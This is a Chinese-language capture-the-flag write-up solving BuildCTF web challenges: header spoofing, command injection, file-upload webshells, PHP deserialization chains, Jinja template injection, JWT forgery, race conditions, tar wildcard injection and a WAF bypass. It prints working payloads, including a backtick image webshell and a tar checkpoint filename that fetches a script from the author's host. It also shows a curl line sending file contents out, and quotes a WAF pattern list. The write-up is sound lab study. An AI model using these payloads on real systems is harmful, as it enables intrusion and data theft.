目录

buildCTF web wp

# ez!http

  • 只有root用户才能访问后台 你是root嘛?

打开hackbar,可以看到服务器设置了默认的post数据

1

  • 只有从blog.buildctf.vip来的用户才可以访问

http报文字段Referer可以伪造来源

Referer: http://blog.buildctf.vip

  • 需要使用buildctf专用浏览器

http报文字段User-Agent记录用户浏览器

User-Agent: buildctf

  • 只有来自内网的用户才能访问

http报文字段X-Forwarded-For记录用户ip

X-Forwarded-For: 127.0.0.1

  • 只接受2042.99.99这一天发送的请求

http报文字段Date记录请求时间

Date: 2042.99.99

  • 只有发起请求的邮箱为root@buildctf.vip才能访问后台

http报文字段From记录请求邮箱

From: root@buildctf.vip

  • 只接受代理为buildctf.via的请求

http报文字段Via记录代理

Via: buildctf.via

  • 浏览器只接受名为buildctf的语言

http报文字段Accept-Language记录语言

Accept-Language: buildctf

最后点击获取flag,会返回到最初的地方,查看源码

点击这个按钮实际是发起了post请求,提交这个getFlag=This_is_flag的参数

2

3

# find-the-id

bp直接爆破,id=207

4

# 我写的网站被rce了?

漏洞点在日志查看

起初以为是文件包含题目,测试发现过滤了.,重定向>,空格和数字

5

6

把访问日志access改成其他时,发现是直接拼接进去的

7

尝试能否使用%00截断时,直接报错,提示这里使用的system函数

8

这里的$_GET[a]原样拼接进去了,但是也查出了日志内容,所以说,没有接收到$_GET[a],但是$_GET[a]确实是执行了,一条空的结果,所以他还是可以查询到日志内容

9

我可以合理的推断这里代码是下面这样的,并且会先判断拼接的文件是否存在,即使不存在,也会执行一下看看能否拿到日志,所以说,只要拼接合理的命令,就能执行

system("cat /var/log/nginx/$_GET[log_type].log");
1

过滤了重定向符>之后,不能直接把执行结果写入文件了,通过谷歌了解到,还可以通过管道符tee命令写文件

可以先用tee命令把ls等执行的结果写到当前目录(网站根目录)

10

12

后来才想起来,原来有简单的cp,mv等命令也可以实现命令结果写文件

11

# babyupload

尝试发现过滤了php的各种格式,以及函数的括号(),还会检测图片的文件头,服务器是apache类型,可以利用.htaccess文件和图片马来rce

.htaccess文件

AddType application/x-httpd-php .png
1

13

图片马需要一些绕过,使用反引号直接执行命令,避免使用函数。如果一定要使用函数,includerequire也可以尝试一下,这两个函数可以作为语言结构直接用,例如include"1.png";

图片马1.png,把结果写到1.txt

<?=`env > 1.txt`?>
1

14

发现这样还会检测,猜测是否是过滤了命令env,尝试使用en''v绕过,发现可以的

15

# LovePopChain

挺简单的,好像没有什么特别的,GET参数No_Need.For.Love,在php8以下属于非法变量名,会接收不到,需要把第一个下划线使用[来代替绕过

点击查看
<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

hybcx类中的tostring方法里,存在一个可能的非预期,这里有一个动态函数调用,如果$ai='phpinfo',那么就会成功调用phpinfo(),在phpinfo的回显中,可能会有flag,不过这里尝试没有发现非预期

public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
1
2
3
4
5

exp

点击查看
<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}


$payload = new MyObject();
$payload -> NoLove = new hybcx();
$payload -> NoLove -> Si = new MyObject();
// $payload -> NoLove -> Si -> JiuYue = '';

echo serialize($payload);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

16

# RedFlag

格式化源码,分析

import os
import flask

app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + payload
    
    return flask.render_template_string(safe_jinja(redflag))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

第一眼读源码,发现过滤函数的使用,不能用函数了,什么都做不了

往上看可以发现重点

app.config['FLAG'] = os.getenv('FLAG')
1

python从环境变量里读取了flag,添加到了flask的配置变量里,读取flask变量

url/redflag/{{url_for.__globals__['current_app'].config['FLAG']}}
1

17

# Why_so_serials?

反序列化过程使用字符替换,导致字符串逃逸,可以让我们构造的字符串变成真正的反序列化的一部分,达到篡改变量值的效果

一个joker替换为batman时,变量Wayne的长度会增加1,但是Wayne的值是固定的,所以最终Wayne的长度会溢出n个joker的长度,那么就可以把原有的字符串扔掉,把我们给的作为反序列化的一部分,达到逃逸的效果

$payload  = new Gotham('1','1');
echo serialize($payload);
# 正常:O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:1:'1'";s:5:"crime";b:1;}

# 后面原有的";s:5:"crime";b:1;}部分需要扔掉,总共19个字符,所以构造19个joker,再添加上我们需要的crime的值
# O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:1:"jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}
$Bruce = '1';
$Wayne = 'jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';
1
2
3
4
5
6
7
8

payload:url?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}

# ez_md5

$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";,这里直接使用ffifdyop来绕过,MD5('ffifdyop',true)的值是'or'6É]™é!r,ùíb,,绕过了sql

第二关,请求里不能有字母,也包括cookie请求,cookie里有字母,所以需要先清楚cookie

第一次md5判断$Build != $CTF && md5($Build) == md5($CTF),使用数组绕过?a[]=1&b[]=2,绕过了第一关

接着需要使用一个md5值为3e41f780146b6c246cd49dd296a3da28的字符串,尝试用fastcool生成,发现里面有字母,绕不过去,再看题目的提示robots,到robots.txt里看,给了爆破掩码level2 md5(114514xxxxxxx)

使用php爆破拿到这个数字1145146803531

18

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

19

# sub

我个人python web了解并不多,可能有解读错的地方。

阅读源码,发现有几处敏感路由,如login,page路由,在源码里给了密钥,在login里给了jwt的加密方式,尝试伪造jwt的admin身份

import jwt
import datetime

# 密钥
secret_key = 'BuildCTF'

payload = {
    'sub': 'admin',
    'role': 'admin',
    'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}

access_token = jwt.encode(payload, secret_key, algorithm='HS256')
print(f'伪造的 JWT: {access_token}')
1
2
3
4
5
6
7
8
9
10
11
12
13
14

替换为生成的token访问/page路由时,返回了403 Forbidden,说明jwt解析了,翻看源码,当前role已经是admin了,但是解析失败了。大胆猜测一下,题目环境没有注册默认的admin用户,那么我尝试注册一下

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')
1
2

在注册界面注册admin用户,在拿着用户名密码访问/page路由,竟然真成功进去了....有点不太正常

尝试目录穿越读取根目录时,会返回400 badrequest,源码里禁止了目录穿越,继续往下读,有惊喜。

在这里的源码中content = subprocess.check_output(f'cat {file_path}', shell=True, text=True),这一句给了shell,我们的参数会当作命令解析,使用有空格的命令时发现无法执行,可以直接env拿flag

file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

20

# 刮刮乐

这道题目没有回显,但是如果使用写文件的操作,可以发现,确实执行了命令,但是内容没了

想起ctfshow平台的一道题目,把内容扔进垃圾桶了,所有不会有内容回显和输出

eval("$_GET[c] >/dev/null 2>&1");
1

这题我使用了%00截断,通过报错,发现使用的是system函数RCE

21

对于>/duv/null 2>&1,可以通过管道符来绕过,题目过滤了分号,不然就可以一次多执行几个命令了

22

23

# eazyl0gin

下载附件,审计源码。需要小写后不等于buildctf,大写后不等于等于BUILDCTF,而且仅存在buildctf一个用户。这里涉及一个nodejs漏洞,在处理特殊字符时会出错

24

例如

'ı'.toUpperCase()='I'
'ſ'.toUpperCase()='S'
'K'.toLowerCase()='k'
1
2
3

可以用一个ı替换build里的i,从而绕过检测

密码可以在在线网站查出012346

25

不过有点奇怪,没看懂为什么不管是buıldctf还是BUıLDCTF都可以登录成功

26

很少接触到nodejs题目,涨知识了,出题组太厉害了。

扔给ai审计发现源码重要部分在这里

socket.on('click', (msg) => {
        let json = JSON.parse(msg)
        // 当前分数大于 1e20 返回flag
        if (sessions[socket.id] > 1e20) {
            socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
            return;
        }
        // 判断用户分数和存储的实际分数
        if (json.value != sessions[socket.id]) {
            socket.emit("error", "previous value does not match")
        }
        // 计算新的分数
        let oldValue = sessions[socket.id]
        // 未验证power是否合法
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue
        socket.emit('recievedScore', JSON.stringify({"value":newValue}));

        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

        errors[socket.id] = oldValue;
    });
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

主要漏洞点分析:

在这里,递增的分数power没有经过验证,先进行了分数的增加,增加完才回来对power的审查,即使是审查,也只是弹出一条错误提示,再把之前的正确分数赋值给errors,没有纠正sessions[socket.id]的值

        // 计算新的分数
        let oldValue = sessions[socket.id]
        // 未验证power是否合法
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue
        socket.emit('recievedScore', JSON.stringify({"value":newValue}));

        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }
        errors[socket.id] = oldValue;
1
2
3
4
5
6
7
8
9
10
11
12

尝试控制power的值,赋值一个非常非常大的值,一次实现分数大于1e20,从而获取flag

socket.emit('click', JSON.stringify({"value": 1 , "power": 1e40}));
1

发送的一瞬间,分数改变了,但是又迅速变成了error的分数,也就是上一次的正确分数1

27

写个函数捕获返回内容

socket.on('recievedScore', (data) => {
    console.log("Received Score:", data);
});
1
2
3

捕获内容后,她确实出现了,写个函数竞争一下

28

const intervalId = setInterval(() => {
    socket.emit('click', JSON.stringify({"value": 9, "power": 1e40}));
}, 100);
1
2
3

抓到你啦

29

# 打包给你

审计源码,在下载路由下os.system存在漏洞

通过谷歌搜索可以了解到tar命令通配符漏洞,tar命令在解析通配符*时,看到有参数则将执行

@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
1
2
3
4
5
6
7
8
9
10
11
12

可以通过"--checkpoint-action=exec=sh shell.sh","--checkpoint=1"参数来执行命令

在本地调试过程中发现下面几个现象:

  • 上传的文件内容都是空的
  • 文件名中不能含有斜杆及反引号,否则上传失败
  • 发包过程中无需使用${IFS}绕过sh shell.sh的空格
  • tar cf out.tar *的操作时,除了上面需要的两个参数外,必须存在一个其他文件,否则无法执行命令

这是测试过程中,存在2.txt时才执行touch 1.txt的命令

33

在以上条件下,最终我选择在远程服务器通过flask提供一个sh文件的下载,通过wget下载到靶机,通过修改服务器的sh文件内容实现执行不同命令

通过bp发送下面的文件名的文件

  • 2.txt
  • --checkpoint-action=exec=wget -O shell.sh ip:5000;sh shell.sh
  • --checkpoint=1

在远程服务器上创建app.py,shell.sh文件

from flask import Flask, send_file, abort

app = Flask(__name__)

@app.route('/')
def download_file():
    file_path = './shell.sh'
    
    try:
        return send_file(file_path, as_attachment=True, download_name='script.sh', mimetype='application/x-sh')
    except FileNotFoundError:
        abort(404)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl ip:5000?id=`cat /*`
1

wget指定下载后的文件名

31

30

点击下载,就会发起请求,下载sh文件,执行里面的内容

32

# 快来破解漂亮国蓝宫的WAF吧!

这里讲起来比较轻松,不过做每道题的时候都能琢磨很长时间...有点累。

测试过程的发现

  • 选择文件的框弹出两次,以为是多文件上传,并不是
  • 普通的图片也会触发waf,猜测,会审计文件内容里的字符
  • 不限制文件类型,如php、.user.ini、.htaccess等文件都可以上传
  • 字符<=?,等都被ban了,这样php无法解析,.user.ini也不能出现=

经过漫长测试,实在找不到这么新的waf,什么waf可以绕过php开头的<尖括号呢?

一筹莫展,后来一篇文章给了我新的方向

猜测出题人也不希望她的服务器因为waf检测性能被用户榨干吧?那么他应该仅对文件内容进行了部分审计!!!(我怎么想不到呢?)

36

使用python打印10w个a填充垃圾数据,在末尾添加php代码

你过关!!

34

35

换post🐎,偷师下源码

通过审计源码,确实只审计了前5000个字符$file_content = file_get_contents($file_path, false, null, 0, 5000);

<?php

// 检查是否有文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $file = $_FILES['upload_file'];

    // 检查文件是否成功上传
    if ($file['error'] === UPLOAD_ERR_OK) {
        $file_path = $file['tmp_name'];
        $file_size = $file['size'];
        $file_name = basename($file['name']);
        
        // 删除文件扩展名检查

        // 检查文件大小(例如限制为 2MB)
        if ($file_size > 2 * 1024 * 1024) { // 2MB
            die("文件大小超过限制!");
        }

        // 读取前5000个字符
        $file_content = file_get_contents($file_path, false, null, 0, 5000);

        // 模拟 WAF 检查规则
        $dangerous_patterns = [
            // PHP 标签检测
            '/<\?php/i',             // PHP 开始标签
            '/<\?=/',                // 短标签
            '/<\?xml/',              // XML 标签
            '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen)\b/i', // 恶意函数

            // SQL 注入相关
            '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
            '/--\s/',                // SQL 注释
            '/\/\*\s.*\*\//',        // 多行 SQL 注释
            '/#/',                   // 单行 SQL 注释

            // XSS 攻击相关
            '/<script\b.*?>.*?<\/script>/is',  // <script> 标签及内容
            '/javascript:/i',                  // javascript URI
            '/on\w+\s*=\s*["\'].*["\']/i',     // 事件处理程序

            // 特殊字符
            '/[\<\>\'\"\\\`\;\=]/',            // < > ' " ` ; =
            '/%[0-9a-fA-F]{2}/',               // URL 编码
            '/&#[0-9]{1,5};/',                 // HTML 实体编码
            '/&#x[0-9a-fA-F]+;/',              // 十六进制 HTML 实体编码

            // 常用的系统命令和函数
            '/system\(/i',                     // PHP system() 函数
            '/exec\(/i',                       // PHP exec() 函数
            '/passthru\(/i',                   // PHP passthru() 函数
            '/shell_exec\(/i',                 // PHP shell_exec() 函数
            '/file_get_contents\(/i',          // 文件读取操作
            '/fopen\(/i',                      // 打开文件操作
            '/file_put_contents\(/i',          // 文件写入操作
            // Unicode 和 UTF-7 绕过
            '/%u[0-9A-F]{4}/i',                // Unicode 编码
            '/[^\x00-\x7F]/',                  // 非 ASCII 字符
            // 检测路径穿越
            '/\.\.\//',                        // 路径穿越
        ];

        // 遍历所有规则,检查是否匹配
        foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("文件内容包含危险字符或代码,上传被拦截!");
            }
        }

        // 如果文件通过了WAF检查,保存文件
        $upload_dir = 'uploads/';
        
        // 检查目录是否存在,如果不存在,则创建它
        if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true); // 创建目录并设置权限
        }

        // 处理文件名,避免特殊字符
        $new_file_name = $upload_dir . basename(preg_replace('/[^a-zA-Z0-9._-]/', '_', $file_name));

        if (move_uploaded_file($file_path, $new_file_name)) {
            echo "文件上传成功!";
        } else {
            echo "文件保存失败!";
        }
    } else {
        echo "文件上传失败,错误代码:" . $file['error'];
    }
} else {
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

# tflock 【复现】

在robots里找到密码本爆破admin用户密码,爆不出来可以尝试重开容器再爆破

登录admin后给了一个奇怪的字符串,搜索了一下,以为是要烤java,没找到相关解法

原来这是一个隐藏款flag....有点奇怪了

37

直接提交这个串就是flag

# fake_signin 【复现】

这里给了密钥,最初以为是要伪造session的补签次数,后面才知道原来users是全局变量,硬编码写死的

漏洞点在补签路由,没有设计并发的情况

并发类处理漏洞

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

补签页面抓包,bp设置爆破点,日期类型

38

并发30次,如果有漏签的,只能重开一个容器

39

当时想到并发这种情况了,为什么没有去just do it呢(真心换绝情.jpg)

40

参考、致谢:

最后一次更新于: 2024/11/18, 00:28:20